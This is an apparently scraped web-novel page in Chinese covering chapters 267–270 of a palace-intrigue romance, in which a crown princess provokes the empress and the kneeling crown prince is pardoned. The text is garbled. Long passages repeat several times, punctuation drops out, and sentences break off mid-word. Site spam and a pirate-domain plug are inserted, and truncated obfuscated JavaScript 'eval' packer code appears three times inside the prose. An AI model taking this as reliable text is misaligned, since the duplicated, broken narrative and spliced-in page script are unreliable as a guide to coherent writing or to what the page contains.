“生母都不关心殿下,我有什么好关心的?云清婳抱紧怀中的承基,“还有,恳请皇后娘娘莫要将苏家的丑事怪在我身上,难道是我逼他们私通的? “住口!皇后腾的从座位上起身,她气势汹汹地朝云清婳走来,“你有没有教养?满口污言秽语!他们是被你们害的,他们是世上最清白的! “他们究竟清不清白,圣上已经有了定夺,娘娘与臣妾说的都不算。 “胡说! 皇后受了刺激,再也忍不住,她举起手,狠狠地扇了下去…… 云清婳坦然扬起头,躲也没有躲。 “呜呜呜……承基、辞忧哭了。 皇后的巴掌还有一寸就要甩上云清婳的脸蛋时,裴云澈攥住了皇后的手腕。 “住手!他怒道。 云清婳委屈地看向裴云澈,眼眸充盈着水光。 皇后的脸涨得通红,她的声音颤抖:“云澈,你听听,她说的是人话吗?她可有把本宫放在眼里?她这是在挑衅本宫,往本宫的心上捅刀子! “还请母后注意体面,这是太子妃!裴云澈甩开她的手,咬牙切齿地提醒。 金嬷嬷福福身,她扶着摇摇欲坠的皇后,“娘娘,莫要冲动啊!若是打了太子妃,传出去不好听啊。若是吓着、伤着皇孙怎么办? 皇后已经被气昏了头,她的后槽牙磨得硌吱硌吱响,她一把推开金嬷嬷。“本宫是皇后,是她的婆母!本宫还要被她捏扁搓圆不成? 裴云澈将云清婳护在身后,字字铿锵道:“还请母后谨记父皇的叮嘱,注重中宫的体面,莫要让旁人看笑话! 第268章 裴云澈也忤逆了 “你、你怎么能这样跟母后说话?你怎么能护着她?本宫是你的母后啊又不是洪水猛兽。”皇后呼吸急促她的心隐隐作痛。 她不受丈夫宠爱亲生儿子也与她离心就连裴云澈这个从小养在身边的养子都护着狐狸精! 她有种一切都被夺走的感觉。 皇后瞪着云清婳。 这个**为什么要跟她抢儿子? “娘娘既然不愿意求情就算了!”云清婳晃了晃怀里的承基三两下承基就不哭了。 “滚!你给本宫滚本宫不想看见你这个毒妇!”皇后指着门外。 云清婳的眼中蒙上了一层雾让人看不出她的情绪。 她抬起头 她由浅入深地分析。 裴云澈毫不犹豫地颔首“好!” 他本来就准备去御书房给裴墨染求情聊表一下手足情深。 父皇定愿意看到这样的局面。 云清婳跟裴云澈交换了一个眼神一切尽在不言中。 这是讨好皇上拉高皇上印象分的绝佳的机会! 既能表现出自己的宽宏博爱又能表明自己对手足的情谊。 “走吧!”裴云澈原本灰败的脸色转而变得温润恢复了翩翩公子的模样。 云清婳点头。 “两个孩子都像你。”他还是第一次好好看承基、辞忧他伸出手摸了下承基的小脸蛋。 原本他以为他会恨这两个孽种。 恨不得杀死他们! 但方才看到他们长相的那一刻他心中的杀意被打消了。 因为他们像极了蛮蛮。 “是。”她笑了。 裴云澈伸出手“孩子是不是太重了?我帮你抱?” “殿下……”云清婳一脸为难。 这位大哥又不是你的孩子你殷勤什么? 别害我行吗? 这一幕刺痛了皇后的双眼。 仿佛云清婳是一个第三者要抢走云澈! 丈夫、儿子都已经抛弃她了! 她只剩下云澈了云澈绝不能被狐狸精抢走。 皇后抓住裴云澈,她惊呼,“不!云澈,你不能跟她走,不能! “她一定是害你的!你父皇正在气头上,倘若你这时候去御书房,定会惹怒你父皇,受到牵连,更何况你从小身子就弱,你不能淋雨啊。她双眼通红,哽咽道。 裴云澈想要甩开她的手,可皇后无比偏执,他竟然甩不开。 他的耐心即将告罄:“母后,为太子求情也是儿臣的打算,就算被牵连,儿臣也认! “不!这个**一定想害你!你不能去!皇后牟足了劲儿抓住他。 裴云澈眼中的温度渐渐褪去,他冷硬道:“母后!这是儿臣自己的选择! “不!你要乖乖听母后的话!你翅膀硬了是吗?居然忤逆母后,母后还会害你吗?皇后低吼。 “母后累了,快扶母后回榻上歇息。裴云澈的手缓缓攥住,白皙的手背上如玉的青筋鼓起。 皇后的眼中布满了红血丝,她癫狂地大喊:“谁敢?! 她髻上的流苏碰撞,凤簪都歪斜了几分。 蠢蠢欲动的宫女、太监吓得一颤,跪了一地。 云清婳看着皇后癫狂、偏执的模样,眼中的讥诮倾泻而出,差点笑出声。 她像极了挽留出轨丈夫的妻子,先是委曲求全,苦苦哀求,然后歇斯底里。 “我先走了。她递给裴云澈一个无奈的眼神,转身就走。 裴云澈想要跟上,可皇后下令,“看住贤王! 大门被缓缓阖上。 “母后,你疯了吗?裴云澈首次口不择言。 “云澈,你也不听话了是吗?一个两个都要离开本宫,连你也要抛弃本宫是吗?她泪流满面。 裴云澈用看疯子的眼神看她,腹中燃烧着熊熊怒火。 他在心中暗骂:疯子!疯妇! 难怪父皇讨厌她,他也讨厌她! 若是他的母妃没去世就好了! 若是母妃还活着,或许母妃早就成为皇后了,哪还轮得到她? …… 长廊上,云清婳跟飞霜嗤嗤地笑了。 “主子,方才皇后怎么突然发疯了?飞霜觉得好笑。 堂堂皇后居然突然就又吼又叫、歇斯底里,一点风度都没有。 云清婳的唇角勾起“方才我句句紧逼一直在刺激她。” “皇后被皇上冷落了几十年没有丈夫他唯一的精神寄托就是才华横溢、温润儒雅的裴云澈可裴云澈也要弃她而去她自然不能接受。” 许多不开化的女人都会在无形中把儿子当作第二个丈夫生怕儿子被其他女人抢走了。 有的婆媳矛盾就是这样来的。 “奴婢有点明白了。”飞霜似懂非懂。 云清婳笑道:“等你见多了就明白了。对了让内应把求情的消息放出去就说裴云澈准备求情了。” “是。”飞霜颔首。 云清婳、飞霜去了慈宁宫御书房很快就派人通传召见皇孙觐见了。 这完全在云清婳的意料之内。 …… 御书房外的青石板被雨水打出了水泡。 暴雨如泼如倒。 王显顶着风雨跑来他弯下腰道:“殿下方才太子妃抱着皇孙进宫了。” “胡闹!让她回去!”裴墨染的双手缓缓攥紧。 王显用手抹了把湿漉漉的脸“太子妃去了翊坤宫想求皇后娘娘给您求情皇后娘娘却让太子妃下跪磕头……” 裴墨染恨不得立即起身冲去翊坤宫。 他的妻子、孩子凭什么受皇后磋磨? 他才不求皇后! 正想着头顶上的雨渐渐变小。 他一抬头一张清丽精美的小脸出撞进他的眼眸。 云清婳撑着伞垂下眼心疼地看着他。 “蛮蛮……”他的眼中跳动的惊喜的笑意 “蛮蛮你快回东宫莫要掺和进来。”裴墨染看向王显“送太子妃出宫!” 云清婳乜了他一眼她嘟着嘴“我跟夫君可不一样!” 御前嬷嬷、太监总管撑着伞怀里一人抱着一个孩子 “爹爹~”承基冲裴墨染伸出手。 “爹~”辞忧歪着脑袋疑惑、奇怪地看着他。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 云清婳的唇角勾起“方才我句句紧逼一直在刺激她。” “皇后被皇上冷落了几十年没有丈夫他唯一的精神寄托就是才华横溢、温润儒雅的裴云澈可裴云澈也要弃她而去她自然不能接受。” 许多不开化的女人都会在无形中把儿子当作第二个丈夫生怕儿子被其他女人抢走了。 有的婆媳矛盾就是这样来的。 “奴婢有点明白了。”飞霜似懂非懂。 云清婳笑道:“等你见多了就明白了。对了让内应把求情的消息放出去就说裴云澈准备求情了。” “是。”飞霜颔首。 云清婳、飞霜去了慈宁宫御书房很快就派人通传召见皇孙觐见了。 这完全在云清婳的意料之内。 …… 御书房外的青石板被雨水打出了水泡。 暴雨如泼如倒。 王显顶着风雨跑来他弯下腰道:“殿下方才太子妃抱着皇孙进宫了。” “胡闹!让她回去!”裴墨染的双手缓缓攥紧。 王显用手抹了把湿漉漉的脸“太子妃去了翊坤宫想求皇后娘娘给您求情皇后娘娘却让太子妃下跪磕头……” 裴墨染恨不得立即起身冲去翊坤宫。 他的妻子、孩子凭什么受皇后磋磨? 他才不求皇后! 正想着头顶上的雨渐渐变小。 他一抬头一张清丽精美的小脸出撞进他的眼眸。 云清婳撑着伞垂下眼心疼地看着他。 “蛮蛮……”他的眼中跳动的惊喜的笑意可很快就化为担忧。 “蛮蛮你快回东宫莫要掺和进来。”裴墨染看向王显“送太子妃出宫!” 云清婳乜了他一眼她嘟着嘴“我跟夫君可不一样!” 御前嬷嬷、太监总管撑着伞怀里一人抱着一个孩子 “爹爹~”承基冲裴墨染伸出手。 “爹~”辞忧歪着脑袋疑惑、奇怪地看着他。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 云清婳的唇角勾起“方才我句句紧逼一直在刺激她。” “皇后被皇上冷落了几十年没有丈夫他唯一的精神寄托就是才华横溢、温润儒雅的裴云澈可裴云澈也要弃她而去她自然不能接受。” 许多不开化的女人都会在无形中把儿子当作第二个丈夫生怕儿子被其他女人抢走了。 有的婆媳矛盾就是这样来的。 “奴婢有点明白了。”飞霜似懂非懂。 云清婳笑道:“等你见多了就明白了。对了让内应把求情的消息放出去就说裴云澈准备求情了。” “是。”飞霜颔首。 云清婳、飞霜去了慈宁宫御书房很快就派人通传召见皇孙觐见了。 这完全在云清婳的意料之内。 …… 御书房外的青石板被雨水打出了水泡。 暴雨如泼如倒。 王显顶着风雨跑来他弯下腰道:“殿下方才太子妃抱着皇孙进宫了。” “胡闹!让她回去!”裴墨染的双手缓缓攥紧。 王显用手抹了把湿漉漉的脸“太子妃去了翊坤宫想求皇后娘娘给您求情皇后娘娘却让太子妃下跪磕头……” 裴墨染恨不得立即起身冲去翊坤宫。 他的妻子、孩子凭什么受皇后磋磨? 他才不求皇后! 正想着头顶上的雨渐渐变小。 他一抬头一张清丽精美的小脸出撞进他的眼眸。 云清婳撑着伞垂下眼心疼地看着他。 “蛮蛮……”他的眼中跳动的惊喜的笑意可很快就化为担忧。 “蛮蛮你快回东宫莫要掺和进来。”裴墨染看向王显“送太子妃出宫!” 云清婳乜了他一眼她嘟着嘴“我跟夫君可不一样!” 御前嬷嬷、太监总管撑着伞 “爹爹~”承基冲裴墨染伸出手。 “爹~”辞忧歪着脑袋疑惑、奇怪地看着他。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 云清婳的唇角勾起,“方才我句句紧逼,一直在刺激她。 “皇后被皇上冷落了几十年,没有丈夫,他唯一的精神寄托就是才华横溢、温润儒雅的裴云澈,可裴云澈也要弃她而去,她自然不能接受。 许多不开化的女人都会在无形中把儿子当作第二个丈夫,生怕儿子被其他女人抢走了。 有的婆媳矛盾就是这样来的。 “奴婢有点明白了。飞霜似懂非懂。 云清婳笑道:“等你见多了,就明白了。对了,让内应把求情的消息放出去,就说裴云澈准备求情了。 “是。飞霜颔首。 云清婳、飞霜去了慈宁宫,御书房很快就派人通传,召见皇孙觐见了。 这完全在云清婳的意料之内。 …… 御书房外的青石板被雨水打出了水泡。 暴雨如泼如倒。 王显顶着风雨跑来,他弯下腰道:“殿下,方才太子妃抱着皇孙进宫了。 “胡闹!让她回去!裴墨染的双手缓缓攥紧。 王显用手抹了把湿漉漉的脸,“太子妃去了翊坤宫,想求皇后娘娘给您求情,皇后娘娘却让太子妃下跪磕头…… 裴墨染恨不得立即起身,冲去翊坤宫。 他的妻子、孩子,凭什么受皇后磋磨? 他才不求皇后! 正想着,头顶上的雨渐渐变小。 他一抬头,一张清丽精美的小脸出撞进他的眼眸。 云清婳撑着伞,垂下眼,心疼地看着他。 “蛮蛮……他的眼中跳动的惊喜的笑意,可很快就化为担忧。 “蛮蛮,你快回东宫,莫要掺和进来。裴墨染看向王显,“送太子妃出宫! 云清婳乜了他一眼,她嘟着嘴,“我跟夫君可不一样! 御前嬷嬷、太监总管撑着伞,怀里一人抱着一个孩子, “爹爹~承基冲裴墨染伸出手。 “爹~辞忧歪着脑袋,疑惑、奇怪地看着他。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 云清婳的唇角勾起“方才我句句紧逼一直在刺激 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许多不开化的女人都会在无形中把儿子当作第二个丈夫,生怕儿子被其他女人抢走了。 有的婆媳矛盾就是这样来的。 “奴婢有点明白了。”飞霜似懂非懂。 云清婳笑道:“等你见多了,就明白了。对了,让内应把求情的消息放出去,就说裴云澈准备求情了。” “是。”飞霜颔首。 云清婳、飞霜去了慈宁宫,御书房很快就派人通传,召见皇孙觐见了。 这完全在云清婳的意料之内。 …… 御书房外的青石板被雨水打出了水泡。 暴雨如泼如倒。 王显顶着风雨跑来,他弯下腰道:“殿下,方才太子妃抱着皇孙进宫了。” “胡闹!让她回去!”裴墨染的双手缓缓攥紧。 王显用手抹了把湿漉漉的脸,“太子妃去了翊坤宫,想求皇后娘娘给您求情,皇后娘娘却让太子妃下跪磕头……” 裴墨染恨不得立即起身,冲去翊坤宫。 他的妻子、孩子,凭什么受皇后磋磨? 他才不求皇后! 正想着,头顶上的雨渐渐变小。 他一抬头,一张清丽精美的小脸出撞进他的眼眸。 云清婳撑着伞,垂下眼,心疼地看着他。 “蛮蛮……”他的眼中跳动的惊喜的笑意,可很快就化为担忧。 “蛮蛮,你快回东宫,莫要掺和进来。”裴墨染看向王显,“送太子妃出宫!” 云清婳乜了他一眼,她嘟着嘴,“我跟夫君可不一样!” 御前嬷嬷、太监总管撑着伞,怀里一人抱着一个孩子, “爹爹~”承基冲裴墨染伸出手。 “爹~”辞忧歪着脑袋,疑惑、奇怪地看着他。 你的朋友正在书荒,快去帮帮他吧 云清婳的唇角勾起,“方才我句句紧逼,一直在刺激她。 “皇后被皇上冷落了几十年,没有丈夫,他唯一的精神寄托就是才华横溢、温润儒雅的裴云澈,可裴云澈也要弃她而去,她自然不能接受。 许多不开化的女人都会在无形中把儿子当作第二个丈夫,生怕儿子被其他女人抢走了。 有的婆媳矛盾就是这样来的。 “奴婢有点明白了。飞霜似懂非懂。 云清婳笑道:“等你见多了,就明白了。对了,让内应把求情的消息放出去,就说裴云澈准备求情了。 “是。飞霜颔首。 云清婳、飞霜去了慈宁宫,御书房很快就派人通传,召见皇孙觐见了。 这完全在云清婳的意料之内。 …… 御书房外的青石板被雨水打出了水泡。 暴雨如泼如倒。 王显顶着风雨跑来,他弯下腰道:“殿下,方才太子妃抱着皇孙进宫了。 “胡闹!让她回去! 王显用手抹了把湿漉漉的脸,“太子妃去了翊坤宫,想求皇后娘娘给您求情,皇后娘娘却让太子妃下跪磕头…… 裴墨染恨不得立即起身,冲去翊坤宫。 他的妻子、孩子,凭什么受皇后磋磨? 他才不求皇后! 正想着,头顶上的雨渐渐变小。 他一抬头,一张清丽精美的小脸出撞进他的眼眸。 云清婳撑着伞,垂下眼,心疼地看着他。 “蛮蛮……他的眼中跳动的惊喜的笑意,可很快就化为担忧。 “蛮蛮,你快回东宫,莫要掺和进来。裴墨染看向王显,“送太子妃出宫! 云清婳乜了他一眼,她嘟着嘴,“我跟夫君可不一样! 御前嬷嬷、太监总管撑着伞,怀里一人抱着一个孩子, “爹爹~承基冲裴墨染伸出手。 “爹~辞忧歪着脑袋,疑惑、奇怪地看着他。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 第269章 赌帝王的心软 裴墨染的心一软,感受到了无尽的心酸、苦涩。 他不愿让孩子看到自己脆弱的模样,他不希望在孩子心中,他们的父亲是无能、丢脸的人。 “爹爹做错事,被皇爷爷罚了。”云清婳解释。 “唔……”承基、辞忧一脸同情地看着裴墨染。 裴墨染受不住儿女这样的眼神,他觉得无颜面对他们,缓缓垂下脸。 云清婳目送孩子进门。 “太子妃不进去?”御前嬷嬷忍不住提醒。 这可是求情的好机会。 云清婳恬静地摇摇头,她上前,不动声色地将腕上的翡翠镯子塞给御前嬷嬷,“多谢嬷嬷,但皇上没有召见,我岂敢擅闯?孩子进去就好。” “嗯。”御前嬷嬷颔首。 御书房的门缓缓阖上。 云清婳一转身,赫然被吓了一跳。 九皇子、十皇子来了。 就连睿王都来了。 三人跪在裴墨染身后,浑身也很快被雨水淋湿。 云清婳感激地看着他们,她福福身,真诚道:“多谢。” “皇嫂客气了,四哥跪了四个时辰了,再跪下去膝盖怕是受不住!四哥戍守边关十年,本就不易。”九皇子道。 十皇子道:“不必言谢,蓉儿让我来的,都是一家人。” 他们不约而同的扭头,疑惑地看着睿王。 睿王老脸一红,“你们看什么看?本王也关心太子不行吗?” 众人:…… “五哥是来表演手足情深的吧?”九皇子实诚地问。 “不论目的是什么,求情跟淋雨是真的,本宫都记在心里。”裴墨染的声音浑厚。 “听听!怪不得别人能当太子!你们满腹腌臜,可有把本王当作皇兄?”睿王讽刺。 九皇子、十皇子对视一眼,不再说话。 云清婳站在裴墨染身边,伞面为他倾斜。 裴墨染抬起头,嗓音有些嘶哑,“蛮蛮,回去吧。” “无妨,我等着接孩子回去。”她道。 半柱香的时间过去,御书房内没有传出动静。 “不是!你就给父皇认个错吧,这么跪着也不是办法。”睿王打了个喷嚏。 裴墨染的 背脊挺拔如松柏,他道:“认错,就等于本宫承认**!” 其他的小事,他可以认错。 他又不傻。 但这件事不行。 云清婳的眼睛盯着灯火通明的御书房,心脏加速,紧张地跳动。 她在赌帝王的心软! 只要皇上对裴墨染有一丝丝的父子情就够了! 这一丝丝情意,可以做很多事。 御书房内。 太监总管禀报道:“睿王、九皇子、十皇子都来了,都在为太子殿下求情。” 皇上露出欣慰的表情。 这群孩子心中尚有亲情存在,手足情深。 不错。 “云澈呢?”他问。 太监总管摇摇头。 皇上的眉头拧着。 云澈就这么恨太子? 或者说,他就这么想成为储君? 突然,承基、辞忧抽抽噎噎地哭了,“呜呜呜……” “怎么哭了?你们俩可是不爱哭的。”皇上将他们搂在怀里,手足无措。 “呜呜呜……爹爹……”承基打着哭嗝。 辞忧的小肉手揩去眼角的泪,“下雨了,爹爹淋湿了。” 皇上震惊两个孩子的早慧。 两个孩子快到两岁了,但是还不到两岁,就会说这么多话了。 而且还知道心疼爹。 “原来是心疼你们爹啊。”皇上冷嘁了一声,“他忤逆朕,还做错了事!该罚!” 皇上自然知道拨款令上的污点是被人设局陷害。 裴墨染向来治军严明,没有贪腐之心。 可谁让裴墨染不听话呢? 他早为剿匪之事责骂过裴墨染,可这个逆子不听,勤政殿还遭人算计了,这不是活该吗? 他气裴墨染的忤逆,气裴墨染被人算计还拿不出证据自证清白。 这逆子一无是处,真是让他恨铁不成钢! “打爹爹屁屁。”承基睁着葡萄眼,可怜兮兮地看着皇上。 辞忧拿出自己的小奶壶,“不给爹爹喝奶。” 皇上的心化成了一滩水。 他忍不住扯了扯嘴角,“哈哈……” 洪亮的笑声传出了御书房。 睿王的眼 角抽搐,他用气音道:“你把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“我担心你,所以来看看,好在殿下跟你都没事了。说着,云蓉递给云清婳一个眼神。 云清婳颔首。 果然,云家的女子训男人都有一套。 第270章 带着你的饺子滚 九皇子的脸色越来越难看。 十皇子想起九皇子才跟苏雨荷解除婚约,心中无限同情他。 “九哥,你别伤心了,你也找一位云家姑娘吧。云氏家规清正,教养的女子各个出挑,蓉儿跟皇嫂都很好。”十皇子半玩笑半认真道。 九皇子的眼睛瞬间亮了,他径自走向裴墨染。 裴墨染还坐在台阶上,他掀起眼皮,不冷不**看着他,“何事?” “四哥,你让皇嫂……给我介绍一位云家小姐吧。”九皇子吞吞吐吐道。 裴墨染本想直接应下,但话到嘴边,他话锋一转,“这要问你皇嫂,本宫做不了主。” “皇嫂……”九皇子娇羞地看向云清婳。 说实话,跟苏家有过牵扯的人,她们多多少少有些膈应,云家躲还来不及呢。 更何况,倘若云家这么多女子都嫁给皇子为妃,恐怕会被皇上以为云家野心勃勃。 她无奈道:“我帮九皇子留意。” “皇嫂,那咱们就说好了啊。”九皇子实在太冷,一步三回头地走了。 内务府很快就把轿撵准备好。 王显跟小太监合力将裴墨染抬了上去。 轿撵上备了毛毯,裴墨染胡乱擦了一下脸。 “主子……殿下的双腿恐怕不妙。”飞霜一脸担忧,“我在药仙谷看过,爹爹为了救命,把病人双腿切掉。” 她的医术可没爹爹精湛,这些切割、缝合之类的手艺,她还没学到位呢,她可操作不了。 云清婳刮了下她的鼻子,“放心吧。” 裴墨染可是男主! 有男主光环的! 若是别人,可能双腿真的会废掉,可他不会。 云清婳上了轿子,她捏捏裴墨染冰凉的脸,玩笑道:“裴墨染,你能回家,可是我用一对儿女换来的!他俩现在是人质了。” 裴墨染笑了,“是,我托了孩子的福。” 云清婳很嫌弃,裴墨染湿透了,衣袍不用拧都在淌水。 他抓住云清婳的手,安慰道:“蛮蛮,在西北时我时常带领将士在雨雪天气作战,今日的雨不算什么。” “你受苦了吧?皇后有没有为难你?” 她垂下脸,缓缓摇头,“我本来也没 抱希望就是想试试。可没想到皇后还想打我幸亏裴云澈拦住了。” “她敢打你?她若是敢碰你一根手指头我定不会放过她……咳咳……”裴墨染气得声音陡然拔高忍不住咳嗽。 忽地轿撵停了。 云清婳的黛眉一挑掀开轿帘看到来者她的眸子黯淡 裴墨染裹紧了身上的毛毯鬓角的青筋鼓起他阖上眼克制着烦躁。 金嬷嬷拿着食盒殷勤弯下腰讨好地说:“殿下皇后娘娘包了饺子您淋了雨吃点热腾腾的饺子暖暖身子也是好的。” “滚!”裴墨染咆哮他的双眼猩红“让她带着她的破饺子有多远滚多远……咳咳……” 金嬷嬷吓傻了。 殿下虽说跟皇后娘娘早有摩擦可从未像今日这般。 莫不是这顿饺子是剩饭剩菜的事被殿下知道了? 云清婳咬着下唇努力克制着不笑出声。 爽! 狗男人在皇后面前终于硬气一次了! 一路沉默。 到了宫外裴墨染冷不丁出声:“裴云澈在翊坤宫这饺子定是包给裴云澈的。皇后每次包饺子都包得不多如果有剩余必是裴云澈吃剩的。” 真恶心! 给亲儿子吃养子的剩饭。 就算是民间的继母都不一定会这般磋磨继子。 “夫君不好的东西扔掉就好了不要自扰。”云清婳张开双臂抱着他的腰。 “嗯。”他颔首“是我不要她了。” …… 轿撵中途换成了马车马车停在垂花门。 裴墨染被扶下来时整个东宫上下的人都来了。 他们看到裴墨染的瞬间松了一口气。 看样子圣上已经原谅太子了没有酿成大祸。 魏娴抱着承宁尚浅担忧道:“殿下受凉了吧?妾身备了姜汤跟暖身汤已经让人送去玄音阁了。” “嗯。”裴墨染颔首。 到了玄音阁万嬷嬷也早让人备好了热水。 裴墨染被王显、乾风搀扶去了净室泡了半个时辰的热水后他才渐渐找回了体温。 他被扶到了榻上裤腿掀开时魏娴都吓 得倒吸了口凉气。 双膝跪烂了,血肉模糊。 膝盖旁边一片青紫。 裴墨染不以为然,府医给他上了药后,让人意外的是赵太医来了。 赵太医师出药仙谷,他给裴墨染针灸、熏艾,又开了药方,“殿下的腿总算是保住了,但是要保暖修养一个月,否则很有可能会染上腿疾,一到刮风下雨天气就疼痛难忍。” “这岂不是跟诸葛先生之前一样了?”裴墨染不经意道。 云清婳剜了他一眼,“夫君若是听话就不会这样。” “我知道。” 送走赵太医后,云清婳端着粥碗喂裴墨染喝粥,“夫君,想必赵太医是皇上派来的,皇上心软了。” 裴墨染不在意。 他已经接受了不被父母疼爱的事实。 所有人都看得出来裴墨染心情不好。 魏娴将承宁递给他,“殿下,您看,承宁最近乖巧不少。” 裴墨染接过承宁,眼中露出浅浅的慈爱。 承宁肌肤白皙,已经不是当初小猴子模样,顺眼了不少。 他乖巧地睡着,不哭不闹。 “承宁是不是瘦了些?辞忧这个时候可肉了,魏侧妃若是缺了什么就吩咐下去,或者跟太子妃说。”他交代。 魏娴重重出了口气。 谁能跟辞忧比啊? 辞忧可能吃了,当初蛮蛮的奶水她一个人吃都不够,婢女私下都玩笑说辞忧是个小饕餮。 她有些不悦,淡淡道:“多谢殿下。” “阿娴,我这儿还有孩子的小肚兜、小衣服,当初绣了太多,孩子长得快,都没来得及穿。”云清婳放下粥碗。 魏娴两眼放光,“是吗?那我可省事了。” 云清婳拉着魏娴的手,带她去纱橱挑衣服。 二人叽叽喳喳说个没完,全是关于怎么养孩子的。 裴墨染被冷落在床榻上,怀里还抱着承宁。 他突然觉得自己好凄凉。 这个魏娴真是的! 一来就跟他抢蛮蛮! 他可是病人,他需要照顾! 裴墨染饥肠辘辘,他将睡熟的承宁递给飞霜,默默地端起了粥碗。 他暗戳戳的想,等会儿他一定要教训蛮蛮! 可吃了药后,他很快就沉沉睡去。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 得倒吸了口凉气。 双膝跪烂了血肉模糊。 膝盖旁边一片青紫。 裴墨染不以为然府医给他上了药后让人意外的是赵太医来了。 赵太医师出药仙谷他给裴墨染针灸、熏艾又开了药方“殿下的腿总算是保住了但是要保暖修养一个月否则很有可能会染上腿疾一到刮风下雨天气就疼痛难忍。” “这岂不是跟诸葛先生之前一样了?”裴墨染不经意道。 云清婳剜了他一眼“夫君若是听话就不会这样。” “我知道。” 送走赵太医后云清婳端着粥碗喂裴墨染喝粥“夫君想必赵太医是皇上派来的皇上心软了。” 裴墨染不在意。 他已经接受了不被父母疼爱的事实。 所有人都看得出来裴墨染心情不好。 魏娴将承宁递给他“殿下您看承宁最近乖巧不少。” 裴墨染接过承宁眼中露出浅浅的慈爱。 承宁肌肤白皙已经不是当初小猴子模样顺眼了不少。 他乖巧地睡着 “承宁是不是瘦了些?辞忧这个时候可肉了魏侧妃若是缺了什么就吩咐下去或者跟太子妃说。”他交代。 魏娴重重出了口气。 谁能跟辞忧比啊? 辞忧可能吃了当初蛮蛮的奶水她一个人吃都不够婢女私下都玩笑说辞忧是个小饕餮。 她有些不悦淡淡道:“多谢殿下。” “阿娴我这儿还有孩子的小肚兜、小衣服当初绣了太多孩子长得快都没来得及穿。”云清婳放下粥碗。 魏娴两眼放光“是吗?那我可省事了。” 云清婳拉着魏娴的手带她去纱橱挑衣服。 二人叽叽喳喳说个没完全是关于怎么养孩子的。 裴墨染被冷落在床榻上怀里还抱着承宁。 他突然觉得自己好凄凉。 这个魏娴真是的! 一来就跟他抢蛮蛮! 他可是病人他需要照顾! 裴墨染饥肠辘辘他将睡熟的承宁递给飞霜默默地端起了粥碗。 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裴墨染不在意。 他已经接受了不被父母疼爱的事实。 所有人都看得出来裴墨染心情不好。 魏娴将承宁递给他“殿下您看承宁最近乖巧不少。” 裴墨染接过承宁眼中露出浅浅的慈爱。 承宁肌肤白皙已经不是当初小猴子模样顺眼了不少。 他乖巧地睡着不哭不闹。 “承宁是不是瘦了些?辞忧这个时候可肉了魏侧妃若是缺了什么就吩咐下去或者跟太子妃说。”他交代。 魏娴重重出了口气。 谁能跟辞忧比啊? 辞忧可能吃了 她有些不悦淡淡道:“多谢殿下。” “阿娴我这儿还有孩子的小肚兜、小衣服当初绣了太多孩子长得快都没来得及穿。”云清婳放下粥碗。 魏娴两眼放光“是吗?那我可省事了。” 云清婳拉着魏娴的手带她去纱橱挑衣服。 二人叽叽喳喳说个没完全是关于怎么养孩子的。 裴墨染被冷落在床榻上怀里还抱着承宁。 他突然觉得自己好凄凉。 这个魏娴真是的! 一来就跟他抢蛮蛮! 他可是病人他需要照顾! 裴墨染饥肠辘辘他将睡熟的承宁递给飞霜默默地端起了粥碗。 他暗戳戳的想等会儿他一定要教训蛮蛮! 可吃了药后他很快就沉沉睡去。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 得倒吸了口凉气。 双膝跪烂了,血肉模糊。 膝盖旁边一片青紫。 裴墨染不以为然,府医给他上了药后,让人意外的是赵太医来了。 赵太医师出药仙谷,他给裴墨染针灸、熏艾,又开了药方,“殿下的腿总算是保住了,但是要保暖修养一个月,否则很有可能会染上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵太医师出药仙谷,他给裴墨染针灸、熏艾,又开了药方,“殿下的腿总算是保住了,但是要保暖修养一个月,否则很有可能会染上腿疾,一到刮风下雨天气就疼痛难忍。” “这岂不是跟诸葛先生之前一样了?”裴墨染不经意道。 云清婳剜了他一眼,“夫君若是听话就不会这样。” “我知道。” 送走赵太医后,云清婳端着粥碗喂裴墨染喝粥,“夫君,想必赵太医是皇上派来的,皇上心软了。” 裴墨染不在意。 说的域名caixs.com?(请来才小 说 看最新章节 完整章节) 他已经接受了不被父母疼爱的事实。 所有人都看得出来裴墨染心情不好。 魏娴将承宁递给他,“殿下,您看,承宁最近乖巧不少。” 裴墨染接过承宁,眼中露出浅浅的慈爱。 承宁肌肤白皙,已经不是当初小猴子模样,顺眼了不少。 他乖巧地睡着,不哭不闹。 “承宁是不是瘦了些?辞忧这个时候可肉了,魏侧妃若是缺了什么就吩咐下去,或者跟太子妃说。”他交代。 魏娴重重出了口气。 谁能跟辞忧比啊? 辞忧可能吃了,当初蛮蛮的奶水她一个人吃都不够,婢女私下都玩笑说辞忧是个小饕餮。 她有些不悦,淡淡道:“多谢殿下。” “阿娴,我这儿还有孩子的小肚兜、小衣服,当初绣了太多,孩子长得快,都没来得及穿。”云清婳放下粥碗。 魏娴两眼放光,“是吗?那我可省事了。” 云清婳拉着魏娴的手,带她去纱橱挑衣服。 二人叽叽喳喳说个没完,全是关于怎么养孩子的。 裴墨染被冷落在床榻上,怀里还抱着承宁。 他突然觉得自己好凄凉。 这个魏娴真是的! 一来就跟他抢蛮蛮! 他可是病人,他需要照顾! 